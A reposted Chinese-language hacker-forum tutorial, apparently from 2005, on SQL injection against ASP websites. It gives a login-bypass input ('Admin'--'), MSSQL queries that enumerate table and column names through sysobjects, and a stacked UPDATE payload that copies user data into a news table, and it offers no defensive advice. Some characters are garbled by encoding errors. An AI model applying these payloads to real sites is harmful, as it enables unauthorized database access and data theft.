sql injection漏洞

/ns/hk/hacker/data/20050808042815.htm


SQL Injection 应称为 SQL 指令植入式攻击,主要是属于 Input Validation 的���}。目前被翻译成『资料隐码』攻击。
SQL Injection攻击法并非植入电脑病毒,它是描述一个利用写入特殊SQL程式码攻击应用程式的动作。
换言之,只要提供给使用者输入的界,又�]有做到相当严密的输入资料性能管制,就有可能会遭受这虫行为的攻击。下面我们来看国内网站的sql injection漏洞:本人最近一个多月都在研究sql injection,发现目前国内网站存在sql injection漏洞的很多,75%以上的asp网站都似乎存在sql injection漏洞,不仅是漏洞多,而且网站内部结构都是乱七八糟的,没有条理性。Apache、IIS、Domino、Netscape的网站系统,通过ASP、PHP、SP等程式码,攻击破坏各种SQL资料库。
它影响的系统包括MSSQL、MySQL、Oracle、Sybase、DB2等。一般属于帐号密码网站的SQL语法 select * from member where UID =' "& request("ID") &" ' And Passwd =' "& request("Pwd") & " ' 如果正常使用者帐号G123456 ,密�a1234 select * from member where UID ='A123456' And Passwd='1234'
输入帐号密码等资讯会取代ASP( or PHP、JSP)中的变数,并由两个单引号(' ')所包住
select * from member where UID =' "& request("ID") &" ' And Passwd =' "& request("Pwd") & " '
若攻击者已知系�y中已有一个Admin的管理者帐号,则输入Admin '-- ,即可不需输入密码进入资料库。
下面再加另外一个方式:
1、获得所有的Table表名
(Select distinct Top 1 name from sysobjects where xtype='U' and status>0 and name not in
(select distinct top i name from sysobjects where xtype='U' and status>0 order by name) order by name)>0
i为一个整数,i取1时,返回第一个table name(按表名排序),2返回第二个,依此类推,直到什么都没有返回为止。
2、得到表名后再获得字段名(field name)
(Select Top 1 col_name(object_id('TableName'),i) from sysobjects)>0
这一句返回TableName这个表里第i个字段的名字
3、得到所有的表名以及里面字段名,估计对这个网站的结构也就有相应的了解了。然后怎样获得字段中的数据呢?
如果是字符串,自然用>0的技俩,如果是其它类型,那就找一个新闻之类的表,再用
;update news set caption=(select username from users where id=9) where newsid=100;-- 之类的方法把你要的数据写出来,这样基本上就没有你不知道的内容了。
写的不好,各位大哥多担待,小弟的QQ:343583147


=========================
文章类型:转载 提交:下一站天后 核查:NetDemon